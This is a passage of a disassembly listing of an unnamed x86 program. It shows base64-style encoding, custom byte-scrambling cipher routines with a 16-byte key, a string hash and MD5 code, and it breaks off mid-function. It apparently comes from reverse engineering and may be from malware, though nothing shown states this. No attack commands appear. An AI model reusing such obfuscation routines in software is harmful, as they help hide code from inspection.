loc_40E983: ; CODE XREF: sub_40E979+24j
mov eax, [ebp+var_4]
inc eax
mov [ebp+var_4], eax
loc_40E98A: ; CODE XREF: sub_40E979+8j
cmp [ebp+var_4], 100h
jnb short loc_40E99F
mov eax, [ebp+var_4]
and byte_41E9B0[eax], 0
jmp short loc_40E983
; ---------------------------------------------------------------------------
loc_40E99F: ; CODE XREF: sub_40E979+18j
and [ebp+var_4], 0
jmp short loc_40E9AC
; ---------------------------------------------------------------------------
loc_40E9A5: ; CODE XREF: sub_40E979+4Cj
mov eax, [ebp+var_4]
inc eax
mov [ebp+var_4], eax
loc_40E9AC: ; CODE XREF: sub_40E979+2Aj
cmp [ebp+var_4], 40h
jnb short locret_40E9C7
mov eax, [ebp+var_4]
movzx eax, byte_41A18C[eax]
mov cl, byte ptr [ebp+var_4]
mov byte_41E9B0[eax], cl
jmp short loc_40E9A5
; ---------------------------------------------------------------------------
locret_40E9C7: ; CODE XREF: sub_40E979+37j
leave
retn
sub_40E979 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40E9C9 proc near ; CODE XREF: sub_40A9CF+34Cp
; sub_40A9CF+E18p ...
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 0Ch
push [ebp+arg_0]
call sub_416B40 ; strlen
pop ecx
mov [ebp+var_C], eax
cmp [ebp+var_C], 2
jnb short loc_40E9E8
xor eax, eax
jmp locret_40EB4C
; ---------------------------------------------------------------------------
loc_40E9E8: ; CODE XREF: sub_40E9C9+16j
and [ebp+var_4], 0
and [ebp+var_8], 0
loc_40E9F0: ; CODE XREF: sub_40E9C9+17Aj
push 1
pop eax
test eax, eax
jz loc_40EB48
mov eax, [ebp+var_4]
inc eax
mov [ebp+var_4], eax
mov eax, [ebp+var_8]
inc eax
cmp eax, [ebp+var_C]
jnb short loc_40EA29
mov eax, [ebp+arg_0]
add eax, [ebp+var_8]
movsx eax, byte ptr [eax]
movzx eax, byte_41E9B0[eax]
shl eax, 2
mov ecx, [ebp+arg_4]
add ecx, [ebp+var_4]
mov [ecx-1], al
jmp short loc_40EA2E
; ---------------------------------------------------------------------------
loc_40EA29: ; CODE XREF: sub_40E9C9+40j
jmp loc_40EB48
; ---------------------------------------------------------------------------
loc_40EA2E: ; CODE XREF: sub_40E9C9+5Ej
mov eax, [ebp+var_8]
inc eax
mov [ebp+var_8], eax
mov eax, [ebp+var_8]
cmp eax, [ebp+var_C]
jnb short loc_40EA66
mov eax, [ebp+arg_0]
add eax, [ebp+var_8]
movsx eax, byte ptr [eax]
movzx eax, byte_41E9B0[eax]
sar eax, 4
mov ecx, [ebp+arg_4]
add ecx, [ebp+var_4]
mov cl, [ecx-1]
or cl, al
mov eax, [ebp+arg_4]
add eax, [ebp+var_4]
mov [eax-1], cl
jmp short loc_40EA6B
; ---------------------------------------------------------------------------
loc_40EA66: ; CODE XREF: sub_40E9C9+72j
jmp loc_40EB48
; ---------------------------------------------------------------------------
loc_40EA6B: ; CODE XREF: sub_40E9C9+9Bj
mov eax, [ebp+var_4]
inc eax
mov [ebp+var_4], eax
mov eax, [ebp+var_8]
inc eax
cmp eax, [ebp+var_C]
jnb short loc_40EA99
mov eax, [ebp+arg_0]
add eax, [ebp+var_8]
movsx eax, byte ptr [eax]
movzx eax, byte_41E9B0[eax]
shl eax, 4
mov ecx, [ebp+arg_4]
add ecx, [ebp+var_4]
mov [ecx-1], al
jmp short loc_40EA9E
; ---------------------------------------------------------------------------
loc_40EA99: ; CODE XREF: sub_40E9C9+B0j
jmp loc_40EB48
; ---------------------------------------------------------------------------
loc_40EA9E: ; CODE XREF: sub_40E9C9+CEj
mov eax, [ebp+var_8]
inc eax
mov [ebp+var_8], eax
mov eax, [ebp+var_8]
cmp eax, [ebp+var_C]
jnb short loc_40EAD6
mov eax, [ebp+arg_0]
add eax, [ebp+var_8]
movsx eax, byte ptr [eax]
movzx eax, byte_41E9B0[eax]
sar eax, 2
mov ecx, [ebp+arg_4]
add ecx, [ebp+var_4]
mov cl, [ecx-1]
or cl, al
mov eax, [ebp+arg_4]
add eax, [ebp+var_4]
mov [eax-1], cl
jmp short loc_40EAD8
; ---------------------------------------------------------------------------
loc_40EAD6: ; CODE XREF: sub_40E9C9+E2j
jmp short loc_40EB48
; ---------------------------------------------------------------------------
loc_40EAD8: ; CODE XREF: sub_40E9C9+10Bj
mov eax, [ebp+var_4]
inc eax
mov [ebp+var_4], eax
mov eax, [ebp+var_8]
inc eax
cmp eax, [ebp+var_C]
jnb short loc_40EB06
mov eax, [ebp+arg_0]
add eax, [ebp+var_8]
movsx eax, byte ptr [eax]
movzx eax, byte_41E9B0[eax]
shl eax, 6
mov ecx, [ebp+arg_4]
add ecx, [ebp+var_4]
mov [ecx-1], al
jmp short loc_40EB08
; ---------------------------------------------------------------------------
loc_40EB06: ; CODE XREF: sub_40E9C9+11Dj
jmp short loc_40EB48
; ---------------------------------------------------------------------------
loc_40EB08: ; CODE XREF: sub_40E9C9+13Bj
mov eax, [ebp+var_8]
inc eax
mov [ebp+var_8], eax
mov eax, [ebp+var_8]
cmp eax, [ebp+var_C]
jnb short loc_40EB3A
mov eax, [ebp+arg_0]
add eax, [ebp+var_8]
movsx eax, byte ptr [eax]
mov ecx, [ebp+arg_4]
add ecx, [ebp+var_4]
mov cl, [ecx-1]
or cl, byte_41E9B0[eax]
mov eax, [ebp+arg_4]
add eax, [ebp+var_4]
mov [eax-1], cl
jmp short loc_40EB3C
; ---------------------------------------------------------------------------
loc_40EB3A: ; CODE XREF: sub_40E9C9+14Cj
jmp short loc_40EB48
; ---------------------------------------------------------------------------
loc_40EB3C: ; CODE XREF: sub_40E9C9+16Fj
mov eax, [ebp+var_8]
inc eax
mov [ebp+var_8], eax
jmp loc_40E9F0
; ---------------------------------------------------------------------------
loc_40EB48: ; CODE XREF: sub_40E9C9+2Cj
; sub_40E9C9:loc_40EA29j ...
mov eax, [ebp+var_4]
dec eax
locret_40EB4C: ; CODE XREF: sub_40E9C9+1Aj
leave
retn
sub_40E9C9 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40EB4E proc near ; CODE XREF: sub_40A9CF+292p
; sub_40A9CF+D12p ...
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = byte ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 0Ch
and [ebp+var_4], 0
and [ebp+var_8], 0
and [ebp+var_C], 0
loc_40EB60: ; CODE XREF: sub_40EB4E:loc_40EC83j
mov eax, [ebp+arg_0]
add eax, [ebp+var_8]
movzx eax, byte ptr [eax]
sar eax, 2
mov ecx, [ebp+arg_4]
add ecx, [ebp+var_C]
mov al, byte_41A18C[eax]
mov [ecx], al
mov eax, [ebp+var_C]
inc eax
mov [ebp+var_C], eax
mov eax, [ebp+arg_0]
add eax, [ebp+var_8]
movsx eax, byte ptr [eax]
shl eax, 4
and eax, 30h
mov [ebp+var_4], al
mov eax, [ebp+var_8]
inc eax
mov [ebp+var_8], eax
mov eax, [ebp+var_8]
cmp eax, [ebp+arg_8]
jnz short loc_40EBC2
movzx eax, [ebp+var_4]
or al, 1
mov ecx, [ebp+arg_4]
add ecx, [ebp+var_C]
mov al, byte_41A18C[eax]
mov [ecx], al
mov eax, [ebp+var_C]
inc eax
mov [ebp+var_C], eax
jmp loc_40EC88
; ---------------------------------------------------------------------------
loc_40EBC2: ; CODE XREF: sub_40EB4E+52j
movzx eax, [ebp+var_4]
mov ecx, [ebp+arg_0]
add ecx, [ebp+var_8]
movzx ecx, byte ptr [ecx]
sar ecx, 4
and ecx, 0Fh
or eax, ecx
mov ecx, [ebp+arg_4]
add ecx, [ebp+var_C]
mov al, byte_41A18C[eax]
mov [ecx], al
mov eax, [ebp+var_C]
inc eax
mov [ebp+var_C], eax
mov eax, [ebp+arg_0]
add eax, [ebp+var_8]
movsx eax, byte ptr [eax]
shl eax, 2
and eax, 3Ch
mov [ebp+var_4], al
mov eax, [ebp+var_8]
inc eax
mov [ebp+var_8], eax
mov eax, [ebp+var_8]
cmp eax, [ebp+arg_8]
jnz short loc_40EC2A
movzx eax, [ebp+var_4]
or al, 1
mov ecx, [ebp+arg_4]
add ecx, [ebp+var_C]
mov al, byte_41A18C[eax]
mov [ecx], al
mov eax, [ebp+var_C]
inc eax
mov [ebp+var_C], eax
jmp short loc_40EC88
; ---------------------------------------------------------------------------
loc_40EC2A: ; CODE XREF: sub_40EB4E+BDj
movzx eax, [ebp+var_4]
mov ecx, [ebp+arg_0]
add ecx, [ebp+var_8]
movzx ecx, byte ptr [ecx]
sar ecx, 6
or eax, ecx
mov ecx, [ebp+arg_4]
add ecx, [ebp+var_C]
mov al, byte_41A18C[eax]
mov [ecx], al
mov eax, [ebp+var_C]
inc eax
mov [ebp+var_C], eax
mov eax, [ebp+arg_0]
add eax, [ebp+var_8]
movzx eax, byte ptr [eax]
and eax, 3Fh
mov ecx, [ebp+arg_4]
add ecx, [ebp+var_C]
mov al, byte_41A18C[eax]
mov [ecx], al
mov eax, [ebp+var_C]
inc eax
mov [ebp+var_C], eax
mov eax, [ebp+var_8]
inc eax
mov [ebp+var_8], eax
mov eax, [ebp+var_8]
cmp eax, [ebp+arg_8]
jnz short loc_40EC83
jmp short loc_40EC88
; ---------------------------------------------------------------------------
loc_40EC83: ; CODE XREF: sub_40EB4E+131j
jmp loc_40EB60
; ---------------------------------------------------------------------------
loc_40EC88: ; CODE XREF: sub_40EB4E+6Fj
; sub_40EB4E+DAj ...
mov eax, [ebp+arg_4]
add eax, [ebp+var_C]
and byte ptr [eax], 0
mov eax, [ebp+var_C]
leave
retn
sub_40EB4E endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40EC96 proc near ; CODE XREF: sub_40A9CF+2FAp
; sub_40E618+FDp
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
push ecx
push [ebp+arg_0]
call sub_416B40 ; strlen
pop ecx
mov [ebp+var_8], eax
and [ebp+var_4], 0
jmp short loc_40ECB4
; ---------------------------------------------------------------------------
loc_40ECAD: ; CODE XREF: sub_40EC96+3Aj
; sub_40EC96+4Aj
mov eax, [ebp+var_4]
inc eax
mov [ebp+var_4], eax
loc_40ECB4: ; CODE XREF: sub_40EC96+15j
mov eax, [ebp+var_4]
cmp eax, [ebp+var_8]
jge short loc_40ECE6
mov eax, [ebp+arg_0]
add eax, [ebp+var_4]
movsx eax, byte ptr [eax]
movzx eax, byte_41E9B0[eax]
test eax, eax
jz short loc_40ECD2
jmp short loc_40ECAD
; ---------------------------------------------------------------------------
loc_40ECD2: ; CODE XREF: sub_40EC96+38j
mov eax, [ebp+arg_0]
add eax, [ebp+var_4]
movsx eax, byte ptr [eax]
cmp eax, 41h
jnz short loc_40ECE2
jmp short loc_40ECAD
; ---------------------------------------------------------------------------
loc_40ECE2: ; CODE XREF: sub_40EC96+48j
xor eax, eax
jmp short locret_40ECE9
; ---------------------------------------------------------------------------
loc_40ECE6: ; CODE XREF: sub_40EC96+24j
push 1
pop eax
locret_40ECE9: ; CODE XREF: sub_40EC96+4Ej
leave
retn
sub_40EC96 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40ECEB proc near ; CODE XREF: sub_4167F1+FEp
var_58 = byte ptr -58h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 58h
push ebx
push esi
push edi
lea eax, [ebp+var_58]
push eax
call sub_40F11F
pop ecx
push [ebp+arg_4]
push [ebp+arg_0]
lea eax, [ebp+var_58]
push eax
call sub_40F159
add esp, 0Ch
lea eax, [ebp+var_58]
push eax
push offset byte_41EAB4
call sub_40F26E
pop ecx
pop ecx
lea eax, byte_41EAB4
push 10h
pop edx
loc_40ED29: ; CODE XREF: sub_40ECEB+46j
mov cl, [eax]
rol cl, cl
mov [eax], cl
inc eax
dec edx
jnz short loc_40ED29
pop edi
pop esi
pop ebx
leave
retn
sub_40ECEB endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40ED38 proc near ; CODE XREF: sub_40A9CF+14p
; sub_41113B+159p ...
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ebx
push esi
push edi
mov esi, [ebp+arg_0]
xor ecx, ecx
xor eax, eax
loc_40ED45: ; CODE XREF: sub_40ED38+2Fj
mov cl, [esi]
test ecx, ecx
jz short loc_40ED69
cmp ecx, 61h
jb short loc_40ED53
sub ecx, 20h
loc_40ED53: ; CODE XREF: sub_40ED38+16j
and ecx, 7Fh
add eax, ecx
and ecx, 0Fh
mov cl, byte_41EAB4[ecx]
add eax, ecx
rol eax, 3
inc esi
jmp short loc_40ED45
; ---------------------------------------------------------------------------
loc_40ED69: ; CODE XREF: sub_40ED38+11j
pop edi
pop esi
pop ebx
pop ebp
retn
sub_40ED38 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40ED6E proc near ; CODE XREF: sub_4167F1+10Cp
var_58 = byte ptr -58h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 58h
push ebx
push esi
push edi
lea eax, [ebp+var_58]
push eax
call sub_40F11F
pop ecx
push [ebp+arg_4]
push [ebp+arg_0]
lea eax, [ebp+var_58]
push eax
call sub_40F159
add esp, 0Ch
lea eax, [ebp+var_58]
push eax
push offset dword_41EAC8
call sub_40F26E
pop ecx
pop ecx
lea esi, dword_41EAC8
mov edi, esi
push 10h
pop ecx
loc_40EDAE: ; CODE XREF: sub_40ED6E+48j
lodsb
xor al, 0AAh
add al, al
or al, 1
stosb
loop loc_40EDAE
pop edi
pop esi
pop ebx
leave
retn
sub_40ED6E endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40EDBD proc near ; CODE XREF: sub_40EF29+Ep
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push ecx
and [ebp+var_4], 0
jmp short loc_40EDCE
; ---------------------------------------------------------------------------
loc_40EDC7: ; CODE XREF: sub_40EDBD+AFj
mov eax, [ebp+var_4]
inc eax
mov [ebp+var_4], eax
loc_40EDCE: ; CODE XREF: sub_40EDBD+8j
mov eax, [ebp+var_4]
cmp eax, [ebp+arg_4]
jge locret_40EE71
mov eax, [ebp+arg_0]
add eax, [ebp+var_4]
mov al, [eax]
sub al, 33h
mov ecx, [ebp+arg_0]
add ecx, [ebp+var_4]
mov [ecx], al
mov eax, [ebp+var_4]
cdq
push 10h
pop ecx
idiv ecx
mov eax, [ebp+arg_8]
movzx eax, byte ptr [eax+edx]
cdq
push 10h
pop ecx
idiv ecx
mov eax, [ebp+arg_0]
add eax, [ebp+var_4]
mov ecx, [ebp+arg_8]
mov al, [eax]
sub al, [ecx+edx]
mov ecx, [ebp+arg_0]
add ecx, [ebp+var_4]
mov [ecx], al
mov eax, [ebp+var_4]
cdq
push 10h
pop ecx
idiv ecx
mov eax, [ebp+arg_8]
movzx eax, byte ptr [eax+edx]
not eax
mov ecx, [ebp+arg_0]
add ecx, [ebp+var_4]
mov cl, [ecx]
xor cl, al
mov eax, [ebp+arg_0]
add eax, [ebp+var_4]
mov [eax], cl
mov eax, [ebp+arg_4]
cdq
push 10h
pop ecx
idiv ecx
shl edx, 2
mov eax, [ebp+arg_0]
add eax, [ebp+var_4]
mov al, [eax]
xor al, dl
mov ecx, [ebp+arg_0]
add ecx, [ebp+var_4]
mov [ecx], al
mov eax, [ebp+arg_0]
add eax, [ebp+var_4]
mov al, [eax]
add al, 1
mov ecx, [ebp+arg_0]
add ecx, [ebp+var_4]
mov [ecx], al
jmp loc_40EDC7
; ---------------------------------------------------------------------------
locret_40EE71: ; CODE XREF: sub_40EDBD+17j
leave
retn
sub_40EDBD endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40EE73 proc near ; CODE XREF: sub_40EF41+Ep
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push ecx
and [ebp+var_4], 0
jmp short loc_40EE84
; ---------------------------------------------------------------------------
loc_40EE7D: ; CODE XREF: sub_40EE73+AFj
mov eax, [ebp+var_4]
inc eax
mov [ebp+var_4], eax
loc_40EE84: ; CODE XREF: sub_40EE73+8j
mov eax, [ebp+var_4]
cmp eax, [ebp+arg_4]
jge locret_40EF27
mov eax, [ebp+arg_0]
add eax, [ebp+var_4]
mov al, [eax]
sub al, 1
mov ecx, [ebp+arg_0]
add ecx, [ebp+var_4]
mov [ecx], al
mov eax, [ebp+arg_4]
cdq
push 10h
pop ecx
idiv ecx
shl edx, 2
mov eax, [ebp+arg_0]
add eax, [ebp+var_4]
mov al, [eax]
xor al, dl
mov ecx, [ebp+arg_0]
add ecx, [ebp+var_4]
mov [ecx], al
mov eax, [ebp+var_4]
cdq
push 10h
pop ecx
idiv ecx
mov eax, [ebp+arg_8]
movzx eax, byte ptr [eax+edx]
not eax
mov ecx, [ebp+arg_0]
add ecx, [ebp+var_4]
mov cl, [ecx]
xor cl, al
mov eax, [ebp+arg_0]
add eax, [ebp+var_4]
mov [eax], cl
mov eax, [ebp+var_4]
cdq
push 10h
pop ecx
idiv ecx
mov eax, [ebp+arg_8]
movzx eax, byte ptr [eax+edx]
cdq
push 10h
pop ecx
idiv ecx
mov eax, [ebp+arg_0]
add eax, [ebp+var_4]
mov ecx, [ebp+arg_8]
mov al, [eax]
add al, [ecx+edx]
mov ecx, [ebp+arg_0]
add ecx, [ebp+var_4]
mov [ecx], al
mov eax, [ebp+arg_0]
add eax, [ebp+var_4]
mov al, [eax]
add al, 33h
mov ecx, [ebp+arg_0]
add ecx, [ebp+var_4]
mov [ecx], al
jmp loc_40EE7D
; ---------------------------------------------------------------------------
locret_40EF27: ; CODE XREF: sub_40EE73+17j
leave
retn
sub_40EE73 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40EF29 proc near ; CODE XREF: sub_40A9CF+25Dp
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push offset dword_41EAC8
push [ebp+arg_4]
push [ebp+arg_0]
call sub_40EDBD
add esp, 0Ch
pop ebp
retn
sub_40EF29 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40EF41 proc near ; CODE XREF: sub_40A9CF+380p
; sub_40D871+7ADp ...
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push offset dword_41EAC8
push [ebp+arg_4]
push [ebp+arg_0]
call sub_40EE73
add esp, 0Ch
pop ebp
retn
sub_40EF41 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40EF59 proc near ; CODE XREF: sub_40A9CF+271p
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
push ecx
push [ebp+arg_4]
push [ebp+arg_0]
mov eax, [ebp+arg_0]
add eax, 4
push eax
call sub_416B52 ; memcpy
add esp, 0Ch
call sub_410422
mov [ebp+var_4], eax
mov eax, [ebp+arg_0]
add eax, 4
mov [ebp+arg_0], eax
and [ebp+var_8], 0
jmp short loc_40EF91
; ---------------------------------------------------------------------------
loc_40EF8A: ; CODE XREF: sub_40EF59+7Ej
mov eax, [ebp+var_8]
inc eax
mov [ebp+var_8], eax
loc_40EF91: ; CODE XREF: sub_40EF59+2Fj
mov eax, [ebp+var_8]
cmp eax, [ebp+arg_4]
jge short loc_40EFD9
mov eax, [ebp+arg_0]
add eax, [ebp+var_8]
mov al, [eax]
add al, byte ptr [ebp+var_4]
mov ecx, [ebp+arg_0]
add ecx, [ebp+var_8]
mov [ecx], al
mov eax, [ebp+arg_0]
add eax, [ebp+var_8]
mov al, [eax]
xor al, byte ptr [ebp+var_4]
mov ecx, [ebp+arg_0]
add ecx, [ebp+var_8]
mov [ecx], al
push 1
push [ebp+var_4]
call sub_416DF6 ; _lrotl
pop ecx
pop ecx
mov [ebp+var_4], eax
mov eax, [ebp+var_4]
add eax, [ebp+var_8]
mov [ebp+var_4], eax
jmp short loc_40EF8A
; ---------------------------------------------------------------------------
loc_40EFD9: ; CODE XREF: sub_40EF59+3Ej
mov eax, [ebp+arg_4]
dec eax
mov [ebp+var_8], eax
jmp short loc_40EFE9
; ---------------------------------------------------------------------------
loc_40EFE2: ; CODE XREF: sub_40EF59+D4j
mov eax, [ebp+var_8]
dec eax
mov [ebp+var_8], eax
loc_40EFE9: ; CODE XREF: sub_40EF59+87j
cmp [ebp+var_8], 0FFFFFFFFh
jz short loc_40F02F
mov eax, [ebp+arg_0]
add eax, [ebp+var_8]
mov al, [eax]
add al, byte ptr [ebp+var_4]
mov ecx, [ebp+arg_0]
add ecx, [ebp+var_8]
mov [ecx], al
mov eax, [ebp+arg_0]
add eax, [ebp+var_8]
mov al, [eax]
xor al, byte ptr [ebp+var_4]
mov ecx, [ebp+arg_0]
add ecx, [ebp+var_8]
mov [ecx], al
push 1
push [ebp+var_4]
call sub_416DF6 ; _lrotl
pop ecx
pop ecx
mov [ebp+var_4], eax
mov eax, [ebp+var_4]
add eax, [ebp+var_8]
mov [ebp+var_4], eax
jmp short loc_40EFE2
; ---------------------------------------------------------------------------
loc_40F02F: ; CODE XREF: sub_40EF59+94j
mov eax, [ebp+arg_0]
mov ecx, [ebp+var_4]
mov [eax-4], ecx
mov eax, [ebp+arg_4]
add eax, 4
leave
retn
sub_40EF59 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40F040 proc near ; CODE XREF: sub_40A9CF+366p
; sub_40D871+792p ...
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
push ecx
mov eax, [ebp+arg_0]
mov eax, [eax]
mov [ebp+var_4], eax
mov eax, [ebp+arg_4]
sub eax, 4
push eax
mov eax, [ebp+arg_0]
add eax, 4
push eax
push [ebp+arg_0]
call sub_416E02 ; memmove
add esp, 0Ch
mov eax, [ebp+arg_4]
sub eax, 4
mov [ebp+arg_4], eax
and [ebp+var_8], 0
jmp short loc_40F07C
; ---------------------------------------------------------------------------
loc_40F075: ; CODE XREF: sub_40F040+82j
mov eax, [ebp+var_8]
inc eax
mov [ebp+var_8], eax
loc_40F07C: ; CODE XREF: sub_40F040+33j
mov eax, [ebp+var_8]
cmp eax, [ebp+arg_4]
jge short loc_40F0C4
mov eax, [ebp+var_4]
sub eax, [ebp+var_8]
mov [ebp+var_4], eax
push 1
push [ebp+var_4]
call sub_416DFC ; _lrotr
pop ecx
pop ecx
mov [ebp+var_4], eax
mov eax, [ebp+arg_0]
add eax, [ebp+var_8]
mov al, [eax]
xor al, byte ptr [ebp+var_4]
mov ecx, [ebp+arg_0]
add ecx, [ebp+var_8]
mov [ecx], al
mov eax, [ebp+arg_0]
add eax, [ebp+var_8]
mov al, [eax]
sub al, byte ptr [ebp+var_4]
mov ecx, [ebp+arg_0]
add ecx, [ebp+var_8]
mov [ecx], al
jmp short loc_40F075
; ---------------------------------------------------------------------------
loc_40F0C4: ; CODE XREF: sub_40F040+42j
mov eax, [ebp+arg_4]
dec eax
mov [ebp+var_8], eax
jmp short loc_40F0D4
; ---------------------------------------------------------------------------
loc_40F0CD: ; CODE XREF: sub_40F040+D8j
mov eax, [ebp+var_8]
dec eax
mov [ebp+var_8], eax
loc_40F0D4: ; CODE XREF: sub_40F040+8Bj
cmp [ebp+var_8], 0FFFFFFFFh
jz short loc_40F11A
mov eax, [ebp+var_4]
sub eax, [ebp+var_8]
mov [ebp+var_4], eax
push 1
push [ebp+var_4]
call sub_416DFC ; _lrotr
pop ecx
pop ecx
mov [ebp+var_4], eax
mov eax, [ebp+arg_0]
add eax, [ebp+var_8]
mov al, [eax]
xor al, byte ptr [ebp+var_4]
mov ecx, [ebp+arg_0]
add ecx, [ebp+var_8]
mov [ecx], al
mov eax, [ebp+arg_0]
add eax, [ebp+var_8]
mov al, [eax]
sub al, byte ptr [ebp+var_4]
mov ecx, [ebp+arg_0]
add ecx, [ebp+var_8]
mov [ecx], al
jmp short loc_40F0CD
; ---------------------------------------------------------------------------
loc_40F11A: ; CODE XREF: sub_40F040+98j
mov eax, [ebp+arg_4]
leave
retn
sub_40F040 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40F11F proc near ; CODE XREF: sub_40ECEB+Dp
; sub_40ED6E+Dp ...
arg_0 = dword ptr 8
push ebp
mov ebp, esp
mov eax, [ebp+arg_0]
mov dword ptr [eax], 67452301h
mov eax, [ebp+arg_0]
mov dword ptr [eax+4], 0EFCDAB89h
mov eax, [ebp+arg_0]
mov dword ptr [eax+8], 98BADCFEh
mov eax, [ebp+arg_0]
mov dword ptr [eax+0Ch], 10325476h
mov eax, [ebp+arg_0]
and dword ptr [eax+10h], 0
mov eax, [ebp+arg_0]
and dword ptr [eax+14h], 0
pop ebp
retn
sub_40F11F endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40F159 proc near ; CODE XREF: sub_40ECEB+1Dp
; sub_40ED6E+1Dp ...
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push ecx
push ecx
mov eax, [ebp+arg_0]
mov eax, [eax+10h]
mov [ebp+var_4], eax
mov eax, [ebp+arg_8]
mov ecx, [ebp+var_4]
lea eax, [ecx+eax*8]
mov ecx, [ebp+arg_0]
mov [ecx+10h], eax
mov eax, [ebp+arg_0]
mov eax, [eax+10h]
cmp eax, [ebp+var_4]
jnb short loc_40F18E
mov eax, [ebp+arg_0]
mov eax, [eax+14h]
inc eax
mov ecx, [ebp+arg_0]
mov [ecx+14h], eax
loc_40F18E: ; CODE XREF: sub_40F159+26j
mov eax, [ebp+arg_8]
shr eax, 1Dh
mov ecx, [ebp+arg_0]
mov ecx, [ecx+14h]
add ecx, eax
mov eax, [ebp+arg_0]
mov [eax+14h], ecx
mov eax, [ebp+var_4]
shr eax, 3
and eax, 3Fh
mov [ebp+var_4], eax
cmp [ebp+var_4], 0
jz short loc_40F21C
mov eax, [ebp+var_4]
mov ecx, [ebp+arg_0]
lea eax, [ecx+eax+18h]
mov [ebp+var_8], eax
push 40h
pop eax
sub eax, [ebp+var_4]
mov [ebp+var_4], eax
mov eax, [ebp+arg_8]
cmp eax, [ebp+var_4]
jnb short loc_40F1E8
push [ebp+arg_8]
push [ebp+arg_4]
push [ebp+var_8]
call sub_416B52 ; memcpy
add esp, 0Ch
jmp locret_40F26C
; ---------------------------------------------------------------------------
loc_40F1E8: ; CODE XREF: sub_40F159+77j
push [ebp+var_4]
push [ebp+arg_4]
push [ebp+var_8]
call sub_416B52 ; memcpy
add esp, 0Ch
mov eax, [ebp+arg_0]
add eax, 18h
push eax
push [ebp+arg_0]
call sub_40F3CE
pop ecx
pop ecx
mov eax, [ebp+arg_4]
add eax, [ebp+var_4]
mov [ebp+arg_4], eax
mov eax, [ebp+arg_8]
sub eax, [ebp+var_4]
mov [ebp+arg_8], eax
loc_40F21C: ; CODE XREF: sub_40F159+59j
; sub_40F159+FCj
cmp [ebp+arg_8], 40h
jb short loc_40F257
push 40h
push [ebp+arg_4]
mov eax, [ebp+arg_0]
add eax, 18h
push eax
call sub_416B52 ; memcpy
add esp, 0Ch
push [ebp+arg_4]
push [ebp+arg_0]
call sub_40F3CE
pop ecx
pop ecx
mov eax, [ebp+arg_4]
add eax, 40h
mov [ebp+arg_4], eax
mov eax, [ebp+arg_8]
sub eax, 40h
mov [ebp+arg_8], eax
jmp short loc_40F21C
; ---------------------------------------------------------------------------
loc_40F257: ; CODE XREF: sub_40F159+C7j
push [ebp+arg_8]
push [ebp+arg_4]
mov eax, [ebp+arg_0]
add eax, 18h
push eax
call sub_416B52 ; memcpy
add esp, 0Ch
locret_40F26C: ; CODE XREF: sub_40F159+8Aj
leave
retn
sub_40F159 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40F26E proc near ; CODE XREF: sub_40ECEB+2Ep
; sub_40ED6E+2Ep ...
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
push ecx
mov eax, [ebp+arg_4]
mov eax, [eax+10h]
shr eax, 3
and eax, 3Fh
mov [ebp+var_8], eax
mov eax, [ebp+var_8]
mov ecx, [ebp+arg_4]
lea eax, [ecx+eax+18h]
mov [ebp+var_4], eax
mov eax, [ebp+var_4]
mov byte ptr [eax], 80h
mov eax, [ebp+var_4]
inc eax
mov [ebp+var_4], eax
push 3Fh
pop eax
sub eax, [ebp+var_8]
mov [ebp+var_8], eax
cmp [ebp+var_8], 8
jnb short loc_40F2E1
push [ebp+var_8]
push 0
push [ebp+var_4]
call sub_416B6A ; memset
add esp, 0Ch
mov eax, [ebp+arg_4]
add eax, 18h
push eax
push [ebp+arg_4]
call sub_40F3CE
pop ecx
pop ecx
push 38h
push 0
mov eax, [ebp+arg_4]
add eax, 18h
push eax
call sub_416B6A ; memset
add esp, 0Ch
jmp short loc_40F2F5
; ---------------------------------------------------------------------------
loc_40F2E1: ; CODE XREF: sub_40F26E+3Bj
mov eax, [ebp+var_8]
sub eax, 8
push eax
push 0
push [ebp+var_4]
